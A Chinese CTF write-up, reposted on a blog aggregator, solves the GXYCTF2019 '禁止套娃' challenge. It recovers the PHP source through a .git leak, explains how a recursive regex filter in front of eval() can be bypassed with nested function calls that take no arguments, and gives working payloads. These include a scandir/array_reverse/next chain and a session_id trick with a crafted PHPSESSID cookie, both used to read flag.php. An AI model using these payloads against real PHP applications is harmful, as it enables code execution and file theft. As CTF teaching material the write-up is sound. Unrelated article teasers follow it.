[GXYCTF2019]禁止套娃(无参数RCE)

news2024/9/23 7:21:38

目录

信息收集

知识讲解

涉及函数

PHP的正则表达式

无参rce

用到的函数

思路分析

方法一

方法二


信息收集

拿到这道题,抓包看了看,啥也没有,用dirsearch爆破目录发现.git目录,猜测存在.git源码泄露,用githack探测发现有index.php这个文件,原来是./git源码泄露

githack探测后拿到index.php

源码如下

<?php
include "flag.php";
echo "flag在哪里呢?<br>";
if(isset($_GET['exp'])){
    if (!preg_match('/data:\/\/|filter:\/\/|php:\/\/|phar:\/\//i', $_GET['exp'])) {
        if(';' === preg_replace('/[a-z,_]+\((?R)?\)/', NULL, $_GET['exp'])) {
            if (!preg_match('/et|na|info|dec|bin|hex|oct|pi|log/i', $_GET['exp'])) {
                // echo $_GET['exp'];
                @eval($_GET['exp']);
            }
            else{
                die("还差一点哦!");
            }
        }
        else{
            die("再好好想想!");
        }
    }
    else{
        die("还想读flag,臭弟弟!");
    }
}
// highlight_file(__FILE__);
?>

知识讲解

涉及函数

PHP中preg_match(/{1\2\3...}/i,{})

preg_match 函数用于执行一个正则表达式匹配
/u 表示按unicode(utf-8)匹配(主要针对多字节比如汉字)
/i 表示不区分大小写(如果表达式里面有a,那么A也是匹配对象)
/s 表示将字符串视为单行来匹配

PHP preg_replace() 函数

preg_replace 函数执行一个正则表达式的搜索和替换。

PHP的正则表达式

无参rce

if(';' === preg_replace('/[^\W]+\((?R)?\)/', '', $_GET['code']))
{
    eval($_GET['code']);
}

这段代码的核心就是只允许函数而不允许函数中的参数,就是说传进去的值是一个字符串接一个(),那么这个字符串就会被替换为空,如果替换后只剩下;,那么这段代码就会被eval执行。而且因为这个正则表达式是递归调用的,所以说像a(b(c()));第一次匹配后就还剩

a(b());,第二次匹配后就还剩a();,第三次匹配后就还剩;了,所以说这一串a(b(c())),就会被eval执行,但相反,像a(b('111'));这种存在参数的就不行,因为无论正则匹配多少次它的参数总是存在的。那假如遇到这种情况,我们就只能使用没有参数的php函数

这里如果觉得比较抽象我们可以本地搭建个匹配进行验证分析,如下

<?php
$a = 'b(a_());';
if (';' === preg_replace('/[a-z,_]+\((?R)?\)/',NULL,$a))
    echo 'ok';
highlight_file(__FILE__);
?>

当a_存在参数时echo不执行,另外由于没有匹配数字,出现数字也会不执行,如'b(a1_());'

用到的函数

localeconv() 返回一包含本地数字及货币格式信息的数组。而数组第一项就是.
current() 返回数组中的当前单元, 默认取第一个值
scandir() 可以扫描当前目录下的文件
array_reverse() 以相反的元素顺序返回数组
next() 将内部指针指向数组的下一个元素,并返回结果

current(localeconv())永远都是个点

思路分析

方法一

先读取当前的目录

?exp=print_r(scandir(current(localeconv())));

发现一个flag.php

目录取反

?exp=print_r(array_reverse(scandir(current(localeconv()))));


指向下一个元素

?exp=print_r(next(array_reverse(scandir(current(localeconv())))));

读取文件

?exp=highlight_file(next(array_reverse(scandir(current(localeconv())))));

 

方法二

session_id()实现任意文件读取

session_id可以获取PHPSESSID的值,而我们知道PHPSESSID允许字母和数字出现,而flag.php符合条件
因此我们在请求包中cookie:PHPSESSID=flag.php,使用session之前需要通过session_start()告诉PHP使用session,php默认是不主动使用session的。
session_id()可以获取到当前的session id。
这样可以构造payload:?exp=readfile(session_id(session_start()));
达到任意文件读取的效果

先用cookie传参来设置session_id的值,session_id的值等于cookie中PHPSESSID的值,所以构建cookie头

Cookie: PHPSESSID=flag.php

在PHP中,session通常不会手动开启,需要利用php函数session_start来开启,所以可以构造payload

?exp=show_source(session_id(session_start()));

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.coloradmin.cn/o/171618.html

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈,一经查实,立即删除!

相关文章

Web Spider XHR断点 堆栈跟值 逆向案例(四)

声明 此次案例只为学习交流使用&#xff0c;抓包内容、敏感网址、数据接口均已做脱敏处理&#xff0c;切勿用于其他非法用途&#xff1b; 文章目录声明前言一、任务说明二、网站分析三、XHR断点调试&#xff0c;扣JS加密代码四、代码实现1、JS加密代码&#xff1a;encode.js2、…

安卓逆向:基础入门(一)

前言随着app的广泛应用&#xff0c;使用过程中&#xff0c;难免会遇到些很不友好的功能&#xff0c;比如&#xff1a;游戏充值、间断性弹窗广告、续费解锁下一回等等。而随之会产生如何将这些功能取消掉&#xff0c;而Android逆向就可以做到&#xff0c;纵向丝滑。当然这只是安…

Kinect与TOF、双目、结构光相机比较相机国产、非国产统计参数对比分析

Kinect与TOF、双目、结构光相机比较相机国产、非国产统计参数对比分析 Kinect v1和Kinect v2之间的参数比较 从图中可以看出&#xff0c;Kinect v2的表现比Kinect v1要好得多&#xff1a;首先最令人印象深刻的是分辨率的提高&#xff0c;v2达到了1080p&#xff0c;甚至视野也大…

JavaWeb | JDBC概述及IDEA连接MySQL

本专栏主要是记录学习完JavaSE后学习JavaWeb部分的一些知识点总结以及遇到的一些问题等&#xff0c;如果刚开始学习Java的小伙伴可以点击下方连接查看专栏 本专栏地址&#xff1a;&#x1f525;JavaWeb Java入门篇&#xff1a; &#x1f525;Java基础学习篇 文章目录一、前言二…

java基础学习 day36(字符串相关类的底层原理)

字符串存储的内存原理 直接赋值会复用字符串常量池中已有的new出来的不会复用&#xff0c;而是开辟一个新的空间来创建 “”号比较的到底是什么 基本数据类型比较数据值引用数据类型比较地址值 PS. 所以以后对引用数据类型&#xff0c;不要用“”&#xff0c;改用.equals()…

RS485接线方式小科普

欢迎来到东用知识小课堂&#xff01;RS-485采用平衡发送和差分接收方式实现通信&#xff1a;发送端将串行口的ttl电平信号转换成差分信号a&#xff0c;b两路输出&#xff0c;经过线缆传输之后在接收端将差分信号还原成ttl电平信号。RS-485总线网络拓扑一般采用终端匹配的总线型…

【Linux】基于 Pintos 实现新的用户级程序的系统调用 | 冯诺依曼架构

&#x1f4ad; 写在前面&#xff1a;本章我们首先会明确冯诺依曼体系结构的概念&#xff0c;旨在帮助大家理解体系结构在硬件角度去理解数据流走向的问题。理解完之后我们再去谈操作系统&#xff0c;这个在之前的章节已经有所铺垫&#xff0c;当时我们只讲解了操作系统是什么&a…

车载以太网 - 车辆信息和车辆声明 - 09

到今天这一篇,对于ISO 13400 - 2的DoIP协议介绍就完事了,对DoIP协议的规范介绍基本已经全部包括了,无论是我们作为软件开发人员还是测试人员,了解这部分内容基本就能够满足这块基础的开发要求,大家如果在研究或者学习这块内容的时候有什么问题欢迎私聊;并且在本篇文章结束…

Nginx使用(四)动静分离实例

一、简介Nginx动静分离简单来说就是把动态跟静态请求分开&#xff0c;不能理解成只是单纯的把动态页面和静态页面物理分离。严格意义上说应该是动态请求和静态请求分开&#xff0c;可以理解成使用Nginx处理静态页面&#xff0c;Tomcat处理动态页面&#xff0c;动静分离从目前实…

Linux系统安装Redis

我这里以CentOS7为例 VMware安装完centOS7之后 1.首先开启网络&#xff1a; 查看ip的命令不是传统的ifconfig或者ipconfig而是ip address 刚安装完使用ip address查看的时候会发现没有ip地址&#xff0c;这里需要修改设置启动网卡 vi /etc/sysconfig/network-scripts/ifcf…

英语学习打卡day1

2023.1.19 重点单词 1.speculation n.推测&#xff0c;投机 speculate v. speculative adj. spectate v.看 spectator inspect 检查&#xff08;往里看&#xff09; aspect 外观&#xff08;看一眼&#xff09; 2.literally adv.(强调事实可能令人惊讶)真正地&#xff0c;…

5.JAVA基础入门必备

文章目录前言一、数据类型二、标识符三、键盘录入四、IDEA中的第一个代码五、IDEA中的设置六、IDEA的项目和模块操作总结前言 一、数据类型 重点记忆byte的取值范围!! 不同类型数据的打印: public class VariableDemo3{//主入口public static void main(String[] args){//byt…

FrameBuffer 应用

1.Frame 是帧的意思&#xff0c; buffer 是缓冲的意思&#xff0c;所以 Framebuffer 就是帧缓冲。Framebuffer 就是一块内存&#xff0c;里面保存着一帧图像。帧缓冲&#xff08;framebuffer&#xff09;是 Linux 系统中的一种显示驱动接口&#xff0c;它将显示设备&#xff08…

技术写作指南。 坚持不下去,怎么办?(文末附视频)

“坚持不下去&#xff0c;怎么办&#xff1f;”这是很多人会遇到的问题&#xff0c;不仅仅是技术写作&#xff0c;任何需要耗费额外精气神的事情都无法长期坚持&#xff0c;例如运动健身、专业学习等。 这里分享一点自己的经验与看法&#xff0c;希望可以对大家的学习有所帮助…

Y9000P Ubuntu/Windows 双系统安装

一&#xff1a;配置介绍 Y9000P默认系统Win11&#xff0c;系统盘500G&#xff0c;从盘2T&#xff0c;内存32G&#xff0c;显卡3060 二&#xff1a;Windows系统分盘 系统盘&#xff08;磁盘1&#xff09;建议通过压缩卷分出300M作为Ubuntu的引导分区。 从盘&#xff08;磁盘2…

23种设计模式(十一)——生成器模式【对象创建】

文章目录 意图什么时候使用生成器真实世界类比生成器模式的实现生成器模式的优缺点亦称:建造者模式、Builder 意图 生成器模式是将一个复杂对象的构建与它的表示分离,使得同样的构建过程可以创建不同的表示。 换成大白话理解就是:一个复杂的对象,它的创建过程和使用过程要…

云网络VPC核心知识总结

云网络VPC核心知识总结

【OpenCV】 Octave | 角点检测 | SIFT/SURF算法

Ⅰ. 图像特征提取与描述 0x00 角点特征 图像的特征 大多数人都玩过拼图游戏。首先拿到完整图像的碎片&#xff0c;然后把这些碎片以正确的方式排列起来从而重建这幅图像。如果把拼图游戏的原理写成计算机程序&#xff0c;那计算机就也会玩拼图游戏了。 在拼图时&#xff0c…

没工作在家做什么赚钱?先从开展副业开始

新的一年即将开始&#xff0c;很多人对未来的工作&#xff0c;生活充满了期待。但是还有很多朋友处在失业状态当中&#xff0c;随着疫情的放开&#xff0c;人们的生活回归正常&#xff0c;于是便想着出去赚钱养家。对于没工作的朋友&#xff0c;我的建议是先从开展副业开始&…

Dubbo SPI实战

Dubbo SPI实战 1. SPI 概述 在具体分析之前还是先了解下 SPI 是什么&#xff1f; 首先它其实是 Service provider interface 的简写&#xff0c;翻译成中文就是服务提供发现接口。 不过这里不要被这个名词搞混了&#xff0c;这里的服务发现和我们常听到的微服务中的服务发现…